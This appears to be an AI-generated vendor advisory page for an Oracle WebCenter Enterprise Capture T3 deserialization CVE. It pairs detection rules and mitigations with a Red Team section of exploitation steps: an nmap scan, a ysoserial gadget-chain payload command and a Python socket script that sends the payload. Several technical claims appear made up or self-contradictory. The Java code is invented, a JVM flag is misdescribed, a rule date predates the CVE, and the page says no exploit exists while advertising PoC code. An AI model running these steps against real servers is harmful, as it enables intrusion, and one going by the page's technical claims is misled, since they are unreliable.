CVE-2026-46779
Executive Summary
CVE-2026-46779 is a critical deserialization vulnerability in Oracle WebCenter Enterprise Capture, affecting versions 12.2.1.4.0 and 14.1.2.0.0. The flaw resides in the Client Bundle component and is exploitable via the T3 protocol with low-privileged network access. Successful exploitation leads to complete takeover of the application, with a CVSS score of 9.9 due to scope change and high impacts on confidentiality, integrity, and availability. No public exploit code or patch is currently available, but the vulnerability is considered highly dangerous for enterprise environments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It affects Oracle Fusion Middleware, a proprietary Java-based platform. Organizations should monitor Oracle’s security alerts for patch releases and consider network segmentation to mitigate risk.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Base Score: 9.9 (Critical)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L)
- User Interaction: None (UI:N)
- Scope: Changed (S:C) – impacts other products
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
Threat Level: Critical. The low attack complexity and network accessibility make this a prime target for ransomware groups and APTs. The scope change indicates potential lateral movement within the Oracle ecosystem.
Deep Dive & Mechanics
The vulnerability is a deserialization flaw in the T3 protocol handler of Oracle WebCenter Enterprise Capture. T3 is a proprietary Oracle protocol used for RMI-like communication between Java components. The Client Bundle component fails to properly validate serialized objects received over T3, allowing an attacker to craft malicious serialized Java objects that, when deserialized, execute arbitrary code.
Attack Flow:
- Attacker gains low-privileged access to the network (e.g., via compromised credentials or VPN).
- Attacker sends a crafted T3 request containing a malicious serialized object (e.g., using ysoserial with a CommonsCollections gadget chain).
- The server deserializes the object without validation, triggering code execution in the context of the WebCenter process.
- Due to scope change, the attacker can pivot to other Oracle services (e.g., WebLogic, Database) using the same T3 protocol.
Root Cause: Lack of input validation and use of insecure deserialization in the T3 handler. The resolveClass method does not enforce a whitelist of allowed classes.
Vulnerable vs. Patched Code
Vulnerable Code (Oracle WebCenter Enterprise Capture 12.2.1.4.0):
// T3 protocol handler - no class filtering
public class T3Handler {
public void handleRequest(InputStream in) {
ObjectInputStream ois = new ObjectInputStream(in);
Object obj = ois.readObject(); // Unsafe deserialization
process(obj);
}
}
Patched Code (Hypothetical fix):
// T3 protocol handler with class whitelist
public class T3Handler {
public void handleRequest(InputStream in) {
ValidatingObjectInputStream ois = new ValidatingObjectInputStream(in);
ois.addAllowedClass("com.oracle.webcenter.*"); // Whitelist
Object obj = ois.readObject();
process(obj);
}
}
Key Difference: The patched version uses a ValidatingObjectInputStream that restricts deserialization to known safe classes, preventing gadget chain exploitation.
Exploitation & Lab Setup
Red Team
Prerequisites:
- ysoserial tool (https://github.com/frohoff/ysoserial)
- Network access to the target T3 port (default 7001)
- Low-privileged credentials (optional, but required per CVSS)
Exploitation Steps:
- Identify T3 endpoint:
nmap -p 7001 --script t3-enum <target> - Generate malicious payload:
java -jar ysoserial.jar CommonsCollections6 'cmd /c calc.exe' > payload.ser - Send payload via T3:
import socket s = socket.socket() s.connect(("target", 7001)) # Craft T3 header with serialized payload t3_header = b"t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://localhost:7001\n\n" s.send(t3_header + open("payload.ser", "rb").read()) s.close()
Note: No public exploit code exists; this is a conceptual demonstration.
Blue Team
Detection:
- Monitor T3 traffic for unusual serialized objects (e.g., large payloads, unexpected class names).
- Use network IDS rules to detect ysoserial gadget chains (e.g.,
CommonsCollections). - Enable Java deserialization logging:
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false
Honeypot:
- Deploy a fake WebCenter instance on a separate port to capture attacker T3 payloads.
Indicators of Compromise (IOCs)
- Network: T3 connections from unexpected IPs, especially with large payloads (>10KB).
- Process:
java.exeorjavaspawning child processes (e.g.,cmd.exe,powershell). - File: Presence of
ysoserialormarshalsectools on the network. - Log: WebCenter logs showing
java.io.InvalidClassExceptionorClassNotFoundExceptionfor non-Oracle classes. - Registry (Windows): Unauthorized changes to
HKLM\SOFTWARE\Oracle\WebCenter.
Detection Engineering
YARA Rule
rule CVE_2026_46779_T3_Deserialization {
meta:
description = "Detects malicious T3 payloads targeting Oracle WebCenter Enterprise Capture"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-46779"
strings:
$t3_header = "t3 12.2.1" ascii wide nocase
$gadget_chain = "CommonsCollections" ascii wide nocase
$ysoserial = "ysoserial" ascii wide nocase
condition:
$t3_header and ($gadget_chain or $ysoserial)
}
Sigma Rule
title: CVE-2026-46779 T3 Deserialization Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects T3 protocol anomalies indicative of deserialization attacks
author: Valters IT
logsource:
category: network_connection
product: zeek
detection:
selection:
protocol: "t3"
payload_length: ">10000"
condition: selection
falsepositives:
- Legitimate large T3 payloads from Oracle updates
level: high
Suricata Rule
alert tcp any any -> any 7001 (msg:"CVE-2026-46779 T3 Deserialization Attempt"; flow:to_server; content:"|74 33 20 31 32 2e 32 2e 31|"; depth:8; content:"|ac ed 00 05|"; within:100; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Network Segmentation: Restrict T3 port (7001) access to trusted IPs only using firewall rules.
- Disable T3 if Unused: If WebCenter Capture does not require T3, disable the protocol in the configuration.
- Apply Oracle Patch: Monitor Oracle Critical Patch Updates (CPU) for an official fix. No patch is currently available.
Long-Term Mitigations:
- Upgrade: Plan upgrade to a patched version once released.
- Web Application Firewall (WAF): Deploy WAF rules to block T3 payloads containing known gadget chains.
- Java Security: Set
-Dcom.sun.jndi.ldap.object.trustURLCodebase=falseand use a customObjectInputStreamwith class whitelisting. - Monitoring: Enable detailed logging for T3 connections and alert on anomalies.
Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.